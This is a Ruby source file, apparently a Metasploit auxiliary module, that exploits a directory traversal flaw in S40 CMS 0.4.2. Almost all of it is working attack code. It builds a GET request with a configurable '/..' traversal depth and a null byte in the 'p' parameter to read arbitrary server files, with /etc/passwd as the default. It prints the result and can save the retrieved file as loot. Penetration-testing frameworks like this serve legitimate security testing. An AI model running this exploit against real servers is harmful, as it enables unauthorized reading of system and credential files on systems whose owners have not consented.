83 lines
2.5 KiB
Ruby
83 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'S40 0.4.2 CMS Directory Traversal Vulnerability',
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'Description' => %q{
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This module exploits a directory traversal vulnerability found in S40 CMS.
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The flaw is due to the 'page' function not properly handling the $pid parameter,
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which allows a malicious user to load an arbitrary file path.
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},
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'References' =>
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[
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[ 'OSVDB', '82469'],
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[ 'EDB', '17129' ]
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],
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'Author' =>
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[
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'Osirys <osirys[at]autistici.org>', #Discovery, PoC
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'sinn3r'
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],
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'License' => MSF_LICENSE,
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'DisclosureDate' => "Apr 7 2011"
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))
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register_options(
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[
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Opt::RPORT(80),
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OptString.new("TARGETURI", [true, 'The base path to S40', '/s40/']),
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OptString.new("FILE", [true, 'The file to retrieve', '/etc/passwd']),
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OptBool.new('SAVE', [false, 'Save the HTTP body', false]),
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OptInt.new("DEPTH", [true, 'Traversal depth', 10])
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], self.class)
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end
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def run_host(ip)
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uri = target_uri.path
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uri << '/' if uri[-1, 1] != '/'
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t = "/.." * datastore['DEPTH']
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vprint_status("Retrieving #{datastore['FILE']}")
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# No permission to access.log or proc/self/environ, so this is all we do :-/
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uri = normalize_uri(uri, 'index.php')
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res = send_request_raw({
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'method' => 'GET',
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'uri' => "#{uri}/?p=#{t}#{datastore['FILE']}%00"
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})
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if not res
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vprint_error("Server timed out")
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elsif res and res.body =~ /Error 404 requested page cannot be found/
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vprint_error("Either the file doesn't exist, or you don't have the permission to get it")
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else
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# We don't save the body by default, because there's also other junk in it.
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# But we still have a SAVE option just in case
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print_good("#{datastore['FILE']} retrieved")
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vprint_line(res.body)
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if datastore['SAVE']
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p = store_loot(
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's40.file',
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'application/octet-stream',
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rhost,
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res.body,
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::File.basename(datastore['FILE'])
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)
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print_good("File saved as: #{p}")
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end
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end
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end
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end
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